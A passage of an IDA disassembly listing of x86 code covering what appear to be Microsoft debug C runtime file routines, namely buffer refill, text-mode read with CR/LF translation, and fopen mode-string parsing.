; ---------------------------------------------------------------------------


loc_41DA87:				; CODE XREF: sub_41D470+5Ej
		xor	eax, eax


loc_41DA89:				; CODE XREF: sub_41D470+26j
					; sub_41D470+8Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41D470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA90	proc near		; CODE XREF: sub_416AD0+66p
					; sub_4173D0+19p ...

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 1
		cmp	eax, 100h
		ja	short loc_41DABA
		mov	ecx, [ebp+arg_0]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, [ebp+arg_4]
		jmp	loc_41DB43
; ---------------------------------------------------------------------------


loc_41DABA:				; CODE XREF: sub_41DA90+11j
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		and	ecx, 0FFh
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_41DB03
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		mov	[ebp+var_C], cl
		mov	dl, byte ptr [ebp+arg_0]
		mov	[ebp+var_B], dl
		mov	[ebp+var_A], 0
		mov	[ebp+var_8], 2
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB03:				; CODE XREF: sub_41DA90+4Fj
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_C], al
		mov	[ebp+var_B], 0
		mov	[ebp+var_8], 1


loc_41DB14:				; CODE XREF: sub_41DA90+71j
		push	1
		push	0
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		call	sub_427D80
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41DB38
		xor	eax, eax
		jmp	short loc_41DB43
; ---------------------------------------------------------------------------


loc_41DB38:				; CODE XREF: sub_41DA90+A2j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		and	eax, [ebp+arg_4]


loc_41DB43:				; CODE XREF: sub_41DA90+25j
					; sub_41DA90+A6j
		mov	esp, ebp
		pop	ebp
		retn
sub_41DA90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB50	proc near		; CODE XREF: sub_416D80+182p
					; sub_418340+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_41DB59:				; CODE XREF: sub_41DB50+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41DB7D
		push	offset dword_4334B4
		push	0
		push	69h
		push	offset a_filbuf_c ; "_filbuf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DB7D
		int	3		; Trap to Debugger


loc_41DB7D:				; CODE XREF: sub_41DB50+Dj
					; sub_41DB50+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DB59
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41DBA5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_41DBAD


loc_41DBA5:				; CODE XREF: sub_41DB50+46j
		or	eax, 0FFFFFFFFh
		jmp	loc_41DD2D
; ---------------------------------------------------------------------------


loc_41DBAD:				; CODE XREF: sub_41DB50+53j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_41DBD0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_41DD2D
; ---------------------------------------------------------------------------


loc_41DBD0:				; CODE XREF: sub_41DB50+68j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jnz	short loc_41DBFB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_427F40
		add	esp, 4
		jmp	short loc_41DC06
; ---------------------------------------------------------------------------


loc_41DBFB:				; CODE XREF: sub_41DB50+9Bj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_41DC06:				; CODE XREF: sub_41DB50+A9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+18h]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41DD40
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41DC3B
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jnz	short loc_41DC6B


loc_41DC3B:				; CODE XREF: sub_41DB50+E0j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_41DD2D
; ---------------------------------------------------------------------------


loc_41DC6B:				; CODE XREF: sub_41DB50+E9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 82h
		test	eax, eax
		jnz	short loc_41DCD1
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	short loc_41DCA6
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		sar	eax, 5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[eax*4]
		add	eax, edx
		mov	[ebp+var_8], eax
		jmp	short loc_41DCAD
; ---------------------------------------------------------------------------


loc_41DCA6:				; CODE XREF: sub_41DB50+131j
		mov	[ebp+var_8], offset dword_444108


loc_41DCAD:				; CODE XREF: sub_41DB50+154j
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 82h
		cmp	edx, 82h
		jnz	short loc_41DCD1
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ch, 20h
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx


loc_41DCD1:				; CODE XREF: sub_41DB50+128j
					; sub_41DB50+170j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 200h
		jnz	short loc_41DD04
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 8
		test	edx, edx
		jz	short loc_41DD04
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 400h
		test	ecx, ecx
		jnz	short loc_41DD04
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h


loc_41DD04:				; CODE XREF: sub_41DB50+18Bj
					; sub_41DB50+198j ...
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		movsx	eax, byte ptr [ecx]
		and	eax, 0FFh
		mov	edx, [ebp+var_4]
		mov	ecx, [edx]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx], ecx


loc_41DD2D:				; CODE XREF: sub_41DB50+58j
					; sub_41DB50+7Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41DB50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD40	proc near		; CODE XREF: sub_416D80+118p
					; sub_41DB50+CBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jnb	short loc_41DD71
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41DD8C


loc_41DD71:				; CODE XREF: sub_41DD40+Dj
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DDBE
; ---------------------------------------------------------------------------


loc_41DD8C:				; CODE XREF: sub_41DD40+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427BE0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41DDD0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_41DDBE:				; CODE XREF: sub_41DD40+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_41DD40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDD0	proc near		; CODE XREF: sub_41DD40+64p
					; sub_428050+42Fp

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_41DE0B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_41DE12


loc_41DE0B:				; CODE XREF: sub_41DDD0+17j
		xor	eax, eax
		jmp	loc_41E211
; ---------------------------------------------------------------------------


loc_41DE12:				; CODE XREF: sub_41DDD0+39j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DB460[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 48h
		test	edx, edx
		jz	short loc_41DEA9
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		movsx	eax, byte ptr [edx+ecx+5]
		cmp	eax, 0Ah
		jz	short loc_41DEA9
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		mov	ecx, [ebp+var_14]
		mov	dl, [eax+edx+5]
		mov	[ecx], dl
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	byte ptr [edx+ecx+5], 0Ah


loc_41DEA9:				; CODE XREF: sub_41DDD0+62j
					; sub_41DDD0+82j
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_41DF28
		call	near ptr 26908EFh
		nop
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jnz	short loc_41DF07
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_41E211
; ---------------------------------------------------------------------------


loc_41DF07:				; CODE XREF: sub_41DDD0+118j
		cmp	[ebp+var_8], 6Dh
		jnz	short loc_41DF14
		xor	eax, eax
		jmp	loc_41E211
; ---------------------------------------------------------------------------


loc_41DF14:				; CODE XREF: sub_41DDD0+13Bj
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_420480
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_41E211
; ---------------------------------------------------------------------------


loc_41DF28:				; CODE XREF: sub_41DDD0+109j
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_10]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	loc_41E20E
		cmp	[ebp+var_10], 0
		jz	short loc_41DFA4
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jnz	short loc_41DFA4
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 4
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4DB460[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_41DFDA
; ---------------------------------------------------------------------------


loc_41DFA4:				; CODE XREF: sub_41DDD0+18Ej
					; sub_41DDD0+199j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	al, [edx+ecx+4]
		and	al, 0FBh
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4DB460[ecx*4]
		mov	[ecx+edx+4], al


loc_41DFDA:				; CODE XREF: sub_41DDD0+1D2j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_41DFE6:				; CODE XREF: sub_41DDD0:loc_41E200j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_18]
		cmp	[ebp+var_4], ecx
		jnb	loc_41E205
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 1Ah
		jnz	short loc_41E05E
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_41E059
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DB460[edx*4]
		mov	dl, [ecx+eax+4]
		or	dl, 2
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4DB460[eax*4]
		mov	[eax+ecx+4], dl


loc_41E059:				; CODE XREF: sub_41DDD0+250j
		jmp	loc_41E205
; ---------------------------------------------------------------------------


loc_41E05E:				; CODE XREF: sub_41DDD0+22Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jz	short loc_41E08A
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_41E200
; ---------------------------------------------------------------------------


loc_41E08A:				; CODE XREF: sub_41DDD0+297j
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+edx-1]
		cmp	[ebp+var_4], ecx
		jnb	short loc_41E0E0
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 0Ah
		jnz	short loc_41E0BF
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_41E0DB
; ---------------------------------------------------------------------------


loc_41E0BF:				; CODE XREF: sub_41DDD0+2D3j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41E0DB:				; CODE XREF: sub_41DDD0+2EDj
		jmp	loc_41E200
; ---------------------------------------------------------------------------


loc_41E0E0:				; CODE XREF: sub_41DDD0+2C7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_41E129
		nop
		call	near ptr 26908EFh
		mov	[ebp+var_8], eax


loc_41E129:				; CODE XREF: sub_41DDD0+34Ej
		cmp	[ebp+var_8], 0
		jnz	short loc_41E135
		cmp	[ebp+var_10], 0
		jnz	short loc_41E149


loc_41E135:				; CODE XREF: sub_41DDD0+35Dj
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_41E200
; ---------------------------------------------------------------------------


loc_41E149:				; CODE XREF: sub_41DDD0+363j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 48h
		test	eax, eax
		jz	short loc_41E1B3
		movsx	ecx, [ebp+var_1C]
		cmp	ecx, 0Ah
		jnz	short loc_41E185
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_41E1B1
; ---------------------------------------------------------------------------


loc_41E185:				; CODE XREF: sub_41DDD0+3A2j
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	al, [ebp+var_1C]
		mov	[edx+ecx+5], al


loc_41E1B1:				; CODE XREF: sub_41DDD0+3B3j
		jmp	short loc_41E200
; ---------------------------------------------------------------------------


loc_41E1B3:				; CODE XREF: sub_41DDD0+399j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_41E1D5
		movsx	edx, [ebp+var_1C]
		cmp	edx, 0Ah
		jnz	short loc_41E1D5
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0Ah
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_41E200
; ---------------------------------------------------------------------------


loc_41E1D5:				; CODE XREF: sub_41DDD0+3E9j
					; sub_41DDD0+3F2j
		push	1
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4254B0
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		movsx	eax, [ebp+var_1C]
		cmp	eax, 0Ah
		jz	short loc_41E200
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_41E200:				; CODE XREF: sub_41DDD0+2B5j
					; sub_41DDD0:loc_41E0DBj ...
		jmp	loc_41DFE6
; ---------------------------------------------------------------------------


loc_41E205:				; CODE XREF: sub_41DDD0+21Fj
					; sub_41DDD0:loc_41E059j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax


loc_41E20E:				; CODE XREF: sub_41DDD0+184j
		mov	eax, [ebp+var_18]


loc_41E211:				; CODE XREF: sub_41DDD0+3Dj
					; sub_41DDD0+132j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41DDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E220	proc near		; CODE XREF: sub_416F50+DBp

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4DB304
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0
		mov	[ebp+var_10], 0


loc_41E23F:				; CODE XREF: sub_41E220+47j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E263
		push	offset aFilenameNull ; "filename != NULL"
		push	0
		push	47h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E263
		int	3		; Trap to Debugger


loc_41E263:				; CODE XREF: sub_41E220+23j
					; sub_41E220+40j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41E23F


loc_41E269:				; CODE XREF: sub_41E220+71j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41E28D
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	48h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E28D
		int	3		; Trap to Debugger


loc_41E28D:				; CODE XREF: sub_41E220+4Dj
					; sub_41E220+6Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41E269


loc_41E293:				; CODE XREF: sub_41E220+9Bj
		cmp	[ebp+arg_C], 0
		jnz	short loc_41E2B7
		push	offset dword_4334B4
		push	0
		push	49h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E2B7
		int	3		; Trap to Debugger


loc_41E2B7:				; CODE XREF: sub_41E220+77j
					; sub_41E220+94j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E293
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[ebp+var_20], dl
		cmp	[ebp+var_20], 61h
		jz	short loc_41E2FC
		cmp	[ebp+var_20], 72h
		jz	short loc_41E2D9
		cmp	[ebp+var_20], 77h
		jz	short loc_41E2EA
		jmp	short loc_41E30E
; ---------------------------------------------------------------------------


loc_41E2D9:				; CODE XREF: sub_41E220+AFj
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_41E315
; ---------------------------------------------------------------------------


loc_41E2EA:				; CODE XREF: sub_41E220+B5j
		mov	[ebp+var_14], 301h
		mov	ecx, [ebp+var_1C]
		or	ecx, 2
		mov	[ebp+var_1C], ecx
		jmp	short loc_41E315
; ---------------------------------------------------------------------------


loc_41E2FC:				; CODE XREF: sub_41E220+A9j
		mov	[ebp+var_14], 109h
		mov	edx, [ebp+var_1C]
		or	edx, 2
		mov	[ebp+var_1C], edx
		jmp	short loc_41E315
; ---------------------------------------------------------------------------


loc_41E30E:				; CODE XREF: sub_41E220+B7j
		xor	eax, eax
		jmp	loc_41E536
; ---------------------------------------------------------------------------


loc_41E315:				; CODE XREF: sub_41E220+C8j
					; sub_41E220+DAj ...
		mov	[ebp+var_4], 1


loc_41E31C:				; CODE XREF: sub_41E220:loc_41E4BAj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	loc_41E4BF
		cmp	[ebp+var_4], 0
		jz	loc_41E4BF
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		sub	edx, 2Bh
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 49h
		ja	loc_41E4B3
		mov	ecx, [ebp+var_24]
		xor	eax, eax
		mov	al, byte_41E565[ecx]
		jmp	off_41E53D[eax*4]


loc_41E36B:				; DATA XREF: ___:off_41E53Do
		mov	edx, [ebp+var_14]
		and	edx, 2
		test	edx, edx
		jz	short loc_41E37E
		mov	[ebp+var_4], 0
		jmp	short loc_41E3A0
; ---------------------------------------------------------------------------


loc_41E37E:				; CODE XREF: sub_41E220+153j
		mov	eax, [ebp+var_14]
		or	al, 2
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		or	dl, 80h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	al, 0FCh
		mov	[ebp+var_1C], eax


loc_41E3A0:				; CODE XREF: sub_41E220+15Cj
		jmp	loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E3A5:				; CODE XREF: sub_41E220+144j
					; DATA XREF: ___:0041E551o
		mov	ecx, [ebp+var_14]
		and	ecx, 0C000h
		test	ecx, ecx
		jz	short loc_41E3BB
		mov	[ebp+var_4], 0
		jmp	short loc_41E3C4
; ---------------------------------------------------------------------------


loc_41E3BB:				; CODE XREF: sub_41E220+190j
		mov	edx, [ebp+var_14]
		or	dh, 80h
		mov	[ebp+var_14], edx


loc_41E3C4:				; CODE XREF: sub_41E220+199j
		jmp	loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E3C9:				; CODE XREF: sub_41E220+144j
					; DATA XREF: ___:0041E55Do
		mov	eax, [ebp+var_14]
		and	eax, 0C000h
		test	eax, eax
		jz	short loc_41E3DE
		mov	[ebp+var_4], 0
		jmp	short loc_41E3E7
; ---------------------------------------------------------------------------


loc_41E3DE:				; CODE XREF: sub_41E220+1B3j
		mov	ecx, [ebp+var_14]
		or	ch, 40h
		mov	[ebp+var_14], ecx


loc_41E3E7:				; CODE XREF: sub_41E220+1BCj
		jmp	loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E3EC:				; CODE XREF: sub_41E220+144j
					; DATA XREF: ___:0041E555o
		cmp	[ebp+var_18], 0
		jz	short loc_41E3FB
		mov	[ebp+var_4], 0
		jmp	short loc_41E40B
; ---------------------------------------------------------------------------


loc_41E3FB:				; CODE XREF: sub_41E220+1D0j
		mov	[ebp+var_18], 1
		mov	edx, [ebp+var_1C]
		or	dh, 40h
		mov	[ebp+var_1C], edx


loc_41E40B:				; CODE XREF: sub_41E220+1D9j
		jmp	loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E410:				; CODE XREF: sub_41E220+144j
					; DATA XREF: ___:0041E559o
		cmp	[ebp+var_18], 0
